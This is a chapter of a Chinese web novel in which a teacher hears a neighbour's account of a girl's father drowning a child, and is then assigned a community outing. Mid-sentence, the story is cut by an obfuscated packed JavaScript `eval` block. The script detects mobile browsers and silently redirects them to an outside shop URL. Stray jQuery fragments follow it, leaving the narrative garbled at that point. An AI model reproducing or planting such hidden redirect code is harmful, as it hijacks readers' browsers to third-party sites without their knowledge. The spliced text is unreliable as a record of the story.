“你认识喂鸽子的那个小姑娘吗?我刚看见你在和她说话。”大姐有些踌躇道。
邵莫奚反应过来,对方说的应该是温鹤嫣,点点头,随后好奇问道:“您也认识她吗?”
“唉,这附近就那几个小区,圈子不大。她家当时闹出事,大家也谈论了好一阵,这附近应该有不少人都认识她们。要我说,那母女俩人都挺好,就是被那个死鬼爹给拖累了,怪艰难的……”大姐话匣子一开,忍不住唏嘘感慨。
见她有说话的意思,邵莫奚干脆多问了几句。
大姐就将自己知道的事情都告诉她。
原来,温鹤嫣她爸本是这附近出了名的混混。
说混吧,和外面混社会的那种混不一样,他是吊儿郎当的混。
据说是年轻时候创业失败,一蹶不振,便一直待在家里靠温鹤嫣的妈妈打工养着。
这人平日里不会去外面惹大事,只在附近的一亩三分地上乱晃,搞些小偷小摸的勾当。
例如,没事拔邻居两根葱,绑架邻居养在院子里的小土鸡,甚至还恬不知耻勒索过院里小孩的零花钱……
反正是和铁头苍蝇一样的存在,拍不死,但四处嗡嗡着污染食物,所到之处人人喊打。
也不知为何,温妈妈一直没有选择离婚。
再后来,温鹤嫣就出生了,她爸估计是难得激起一点慈父心,变老实不少,白天就在家看娃,不再上蹿下跳。
大伙都以为他要认真过日子了。
直到某天,她爸忽然犯下一起命案。
小区附近有个废弃的老水库。
一天晚上,维安局接到报案,有目击者说,温鹤嫣她爸暴起,用砖头殴打了一个小孩,打昏后抛入水库的蓄水池,她爸自己脚滑没站稳,也遭了报应跟着掉下去,与那孩子双双溺死。
目击者是个刚上初中的男生,没有救人的法子,遇到事情后赶忙回去找自家大人过来。
等人赶到时已经晚了,水库里只漂着一大一小两具尸体。
因为是废弃水库,附近的监控早就坏了,唯一的目击者就是那个男孩。
水库旁有争执的痕迹,现场有带着血迹的砖,溺死小孩的额头上也有力道不小的砖伤。
于是案子很快就结了,水库也被抽干查封。
事后打官司,溺死孩子的家长向温鹤嫣家索要一笔赔偿。
当时温家没那么多钱,只能欠债慢慢还,还债的压力都落在温鹤嫣妈妈一人身上。她也是能耐,咬牙拼命打工,边还债边养女儿,前几年彻底把债还清了。
不过,这件事发生后带来的不止是钱的问题,邻里间的闲言碎语也没断过。
不少人只要见了温家母女,就得出言挤兑几句。
好在母女俩都是坚强的人,并不会为此影响到自己的生活。
当然,不是所有邻里都对她们冷眼相待,有个别人也心疼她们的遭遇,觉得这娘俩是被没用的男人拖累,遭受了无妄之灾。
粮油店的花姐就是其中之一。
平时见娘俩来买东西,她也会暗自算便宜些。
“唉,小温可怜,懂事得很,学习也好,小时候那么活泼的一个小姑娘,因为这事也不咋爱说话了。倒是刚那说人坏话的娘们人是真不咋地……”花姐说着,小心看了邵莫奚一眼。
她费劲解释这么一通,主要是不希望小邵被那些闲言碎语影响到对小温的看法。
小温难得有个亲近的朋友,小邵也是个特别好的孩子。虽说俩人差了点年纪,但听说这年头流行忘年交不是?
她觉得自己跟小邵也是这样忘年的好友呢!
邵莫奚知道她在担心什么,笑道:“您放心吧,我自己心里有数。”
看了眼天色,已经有些晚了。
她与花姐告别,打算回学校宿舍去。
回程路上,小王飞回来了,悄声跟邵莫奚说,刚那对母子被鸽子追杀一路,现在已经逃回家。
罪魁祸首惩罚完毕,但鸽子们仍在窜稀。
小王就去药店进货的车上叨了点药出来,还留下一笔买药的零钱。
喂过药,临时咕的肠胃很快恢复,目前都已歇下。
“咕咕。就会欺负鸽子,别让我再遇到那俩人,不然非得再扇她们两翅膀才行!”小王看着像是还没解气。
邵莫奚摸摸它的脑袋:“懦夫总会挑弱者下手嘛。不管要做什么,你俩记得把自身安全放在第一位就好。”
“咕咕。知道啦,邵妮儿!”
“小王你……唉,算了,这会儿也没外人。”
-
邵莫奚离开后,花姐捏着她送的小纸鹤往自家店里走。
她店铺门面后连着两间屋子,有时候晚上就在店里休息,随时可以起来营业,十分方便。
走到路灯下,光线亮堂许多。
花姐拿起小纸鹤端详了一番,惊讶地发现上面的花纹十分眼熟。
这些小纸鹤竟是钱币叠的,整整齐齐的五只,正好是五百块钱。
花姐很是吃惊。
她刚亲眼看到,小邵全程只合过一下手掌,再没有任何多余的动作。
所以才没往别处想。
谁知道一眨眼的功夫,她就能把纸币叠成纸鹤呢?
到底是把收益分给自己了。
花姐忍不住笑着摇了摇头:“哎,小邵这人真是!”
-
白日里在学校教书,晚上跑广场路演摆摊,邵莫奚舒舒服服度过了两日,囊中终于不再羞涩。
不过,她买衣服的瘾很大,兜里有了闲钱多半都送进了服装批发市场。每日更换一到两套衣服,让她感到无比安心。
对得起学生也对得起观众。
转眼就到周五。
这天早晨,刚进办公室,林主任就给邵莫奚分享了两个消息。
“你上次申请的奖金补贴通过了,这月会和你的工资一起发到手里。”林主任推了推眼镜说。
“还有一件事,这周六你们班得代表咱们学校进行社区实践。”
邵莫奚露出毫无感情色彩的笑容:“林主任,咱们商量一下,能不能换个班去?当然,让我们班去也行,换个老师替我去怎么样?对了,那天我还听见叶老师在办公室里感慨生活无聊,我觉得他肯定特别想去……”
邵莫奚对天发誓,真不是她偷懒陷害同事。
主要她这周还有很重要的事想做,实在不愿更改计划。
可惜,天不遂她愿。
“不,我不想去。”一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14037557|146904||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道冷冰冰的声音响起。
转头一看,叶老师掀开门帘走进办公室,狠狠瞪了邵莫奚一眼。
怎么来得这么巧啊?
被抓包了,邵莫奚毫不心虚地挥手跟他打招呼:“你好!”
“哼。”化学王子并不领情,冷哼一声坐下了,闭上双眼,开始对镜梳花头。
眼看着这条路走不通,邵莫奚又生一计。
“没事,林主任,你还可以派韦老师去,韦老师尽职尽责,肯定比我更能胜任社区实践带班的工作!”她举起两根珠光宝气的指头,替饭搭子好友打包票。
话音刚落,办公室门帘又被掀开了。
韦黎乌顶着困惑的眼神走进来:“在门外好像听到有人喊我,我进来了。”
邵莫奚立刻走过去揽住她的肩:“韦老师,你来的正好,这周六能不能帮我一个小忙?”
她掏出一根狗尾巴草插在韦黎乌的丸子头上,插完发现拿错了,又十分自然地一抖手,换成一朵茉莉花。
“可以。只要我能做到,就会帮你。”韦黎乌说。
还是姐们靠谱,邵莫奚高兴道:“很简单啦,这周六你帮我带班,去社区做个实践活动,事成之后我一定请你吃大餐!”
仗义的韦黎乌点点头:“没问题,我可以陪你一起去。我打算吃东郊的羊肉火锅。”
已经开始点菜了。
“好……等等,不是,咳,不是你陪我去,而是代替我去,只有你去,我不去。”邵莫奚双手合十,期冀地看着她。
韦黎乌不解:“可是,你不去的话,就不是你的社区实践,我也不算帮你忙,就也没有羊肉火锅了。所以,我要陪你一起去。”
邵莫奚双眼泛起蚊香圈。
她邵莫奚,能在八岁独立完成大型水下逃生项目,能摸清高中物理的每一道复杂公式,却无法看清楚韦老师的大脑运行方式。
口才伶俐的大魔术师难得有沟通困难的时候。
她急得像杰克逊一样,利用鞋跟的支撑原地飞速旋转几圈,以一手按住小腹一手压住帽檐的完美姿势静止,很快成为办公室中一尊闪亮的雕塑。
“行了,邵老师,别再垂死挣扎了。谢谢你让我拥有了一个如此愉快的早晨。”林主任扯了扯领结,缓缓拍了两下手掌,对她的精彩表演表示肯定。
“只是这次,你非去不可,还记得上次来听课的上级领导么?就是他点名要求你带班去的。”
上回,邵莫奚以枪击强势结束了惊险的视察工作。
事后,领导虽然挑不出他们学校的毛病,但回忆种种经历,仍是觉得如鲠在喉。
这次的实践活动,就是他的报复手段。
他特地选了一处又老又破的小区,指名道姓让邵莫奚去做实践,还专门交代社区居委会事后要呈上实践报告,他将亲自过目。
一副要从鸡蛋里挑出鸡脆骨的架势。
“这艰巨的工作只有你能胜任。哪怕本来是别的老师带队,我也一定会让你代替她们去的。”
林主任语重心长道,“周六,金池小区,你和小区居民不见不散,好吗?好的。”
“金池小区?”邵莫奚闻言有些意外,“主任,我同意带班实践了。但能不能换个社区,不去这里?”